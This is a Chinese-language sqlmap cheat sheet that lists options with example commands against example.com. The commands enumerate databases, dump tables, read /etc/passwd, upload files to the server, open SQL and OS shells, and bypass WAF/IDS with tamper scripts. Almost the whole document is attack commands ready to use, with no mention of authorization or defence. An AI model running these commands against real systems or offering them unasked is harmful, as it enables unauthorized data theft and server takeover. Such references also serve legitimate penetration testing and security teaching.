常见参数
- 1. 指定目标
- --data:指定 POST 请求的数据。
- sqlmap -u "http://example.com/login" --data="username=admin&password=123"
- --cookie:指定 Cookie。
- sqlmap -u "http://example.com/page?id=1" --cookie="sessionid=12345"
- -u 或 --url:指定目标 URL。
- sqlmap -u "http://example.com/page?id=1"
- 2. 指定注入点
- --skip:跳过某些参数的测试。
- sqlmap -u "http://example.com/page?id=1&name=test" --skip="name"
- -p:指定需要测试的参数。
- sqlmap -u "http://example.com/page?id=1&name=test" -p "id"
- 3. 指定数据库类型
- --dbms:指定目标数据库类型(如 MySQL、Oracle、PostgreSQL 等)。
- sqlmap -u "http://example.com/page?id=1" --dbms=MySQL
- 4. 获取数据库信息
- --current-db:获取当前数据库名称。
- sqlmap -u "http://example.com/page?id=1" --current-db
- --tables:枚举指定数据库的表。
- sqlmap -u "http://example.com/page?id=1" -D database_name --tables
- --dbs:枚举所有数据库。
- sqlmap -u "http://example.com/page?id=1" --dbs
- --columns:枚举指定表的列。
- sqlmap -u "http://example.com/page?id=1" -D database_name -T table_name --columns
- --dump:导出表数据。
- sqlmap -u "http://example.com/page?id=1" -D database_name -T table_name --dump
- 5. 高级功能
- --risk:设置风险等级(1-3,默认 1),风险越高,测试越激进。
- sqlmap -u "http://example.com/page?id=1" --risk=2
- --threads:设置并发线程数。
- sqlmap -u "http://example.com/page?id=1" --threads=5
- --batch:自动选择默认选项,无需用户交互。
- sqlmap -u "http://example.com/page?id=1" --batch
- --level:设置测试等级(1-5,默认 1),等级越高,测试越全面。
- sqlmap -u "http://example.com/page?id=1" --level=3
- 7. 绕过 WAF/IDS
- --tamper:使用脚本绕过 WAF(Web 应用防火墙)或 IDS(入侵检测系统)。
- sqlmap -u "http://example.com/page?id=1" --tamper=space2comment
- 8. 其他常用参数
- --sql-shell:获取 SQL 交互式 shell。
- sqlmap -u "http://example.com/page?id=1" --sql-shell
- --file-read:读取服务器上的文件。
- sqlmap -u "http://example.com/page?id=1" --file-read="/etc/passwd"
- --file-write 和 --file-dest:上传文件到服务器。
- sqlmap -u "http://example.com/page?id=1" --file-write="local_file" --file-dest="/remote/path"
- --os-shell:尝试获取操作系统的 shell。
- sqlmap -u "http://example.com/page?id=1" --os-shell
- 示例 1:检测注入点
- sqlmap -u "http://example.com/page?id=1"
- 示例 2:枚举数据库
- sqlmap -u "http://example.com/page?id=1" --dbs
- 示例 3:导出表数据
- sqlmap -u "http://example.com/page?id=1" -D database_name -T table_name --dump
- 示例 4:获取操作系统 shell
- sqlmap -u "http://example.com/page?id=1" --os-shell
- 示例 5:绕过 WAF
- sqlmap -u "http://example.com/page?id=1" --tamper=space2comment --level=5 --risk=3